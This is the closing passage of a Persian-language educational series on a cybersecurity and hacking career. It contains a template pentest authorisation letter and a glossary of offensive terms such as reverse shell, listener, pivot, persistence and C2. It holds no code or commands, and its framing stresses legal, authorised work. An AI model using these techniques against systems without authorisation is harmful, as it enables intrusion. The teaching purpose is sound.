بدین‌وسیله تأیید می‌گردد که [نام شخص]، با مشخصات [کد ملی/شناسه]، از تاریخ [تاریخ شروع] تا [تاریخ پایان] مجاز است برای مقاصد آموزشی/ارزیابی، تست نفوذ بر روی دارایی‌های زیر را انجام دهد: [فهرست دقیق IP ها، دامنه‌ها، شبکه‌ی وای‌فای، یا دستگاه‌های آزمایشی مشخص‌شده].

شرایط: بدون دسترسی یا خرابی به دارایی‌های واقعی خارج از فهرست بالا، بدون دستکاری داده‌های کاربران واقعی، تمام فعالیت‌ها باید مستند شوند، ارائه‌ی گزارش نهایی الزامی است، و پس از پایان باید تمام ردپاها و حساب‌های موقت پاک‌سازی شوند.

مسئول صدور مجوز: [نام و امضا] — تاریخ: [تاریخ]

واژه‌نامه (Glossary)

واژه	معنی
Payload	کد اجرایی که هدف یک حمله را عملی می‌کند
Shell	محیط دستوری تعاملی روی سیستم هدف
Reverse Shell	حالتی که سیستم هدف خودش به مهاجم وصل می‌شود
Bind Shell	حالتی که مهاجم به یک پورت باز روی سیستم هدف وصل می‌شود
Listener	برنامه‌ای که منتظر یک اتصال ورودی می‌ماند (مثل nc)
Recon	شناسایی؛ جمع‌آوری اطلاعات اولیه درباره‌ی هدف
Enumeration	شمارش دقیق‌تر منابع، کاربران و سرویس‌ها
Foothold	اولین نقطه‌ی نفوذ موفق به یک سیستم
PrivEsc	ارتقای دسترسی از یک کاربر محدود به سطح بالاتر
Pivot	حرکت از یک سیستم در دست گرفته‌شده به بخش دیگری از شبکه
Lateral Movement	جابه‌جایی افقی بین سیستم‌های هم‌سطح در یک شبکه
Persistence	روش‌هایی برای حفظ دسترسی حتی پس از ریستارت سیستم
C2 (Command & Control)	زیرساخت ارتباطی بین مهاجم و سیستم‌های در دست گرفته‌شده
SUID	بیت ویژه در لینوکس که یک فایل را با دسترسی مالک آن اجرا می‌کند
ASLR	تصادفی‌سازی آدرس حافظه برای سخت‌تر کردن حملات حافظه
ROP	تکنیک برنامه‌نویسی با استفاده از قطعات کد موجود، برای دور زدن محدودیت اجرای حافظه
PoC (Proof of Concept)	اثبات عملی یک آسیب‌پذیری
CVE	شناسه‌ی استاندارد جهانی یک آسیب‌پذیری شناخته‌شده
SIEM / SOC	سامانه/مرکز تحلیل متمرکز لاگ و رخدادهای امنیتی یک سازمان
OSINT	جمع‌آوری اطلاعات از منابع کاملاً عمومی و در دسترس
IOC	نشانه‌ای که وجود یک نفوذ یا فعالیت مشکوک را آشکار می‌کند

پایان مجموعه‌ی پنج‌قسمتی «مسیر حرفه‌ای هک و امنیت سایبری». این مجموعه نقشه‌ی راه است، نه جادو — سه چیز شما را به یک متخصص امنیت واقعی و قانونی می‌رساند: تمرین مداوم (حتی روزی ۳۰ دقیقه)، مستندسازی حرفه‌ای هر تمرین، و همیشه کار کردن در چارچوب قانونی و با مجوز. موفق باشید.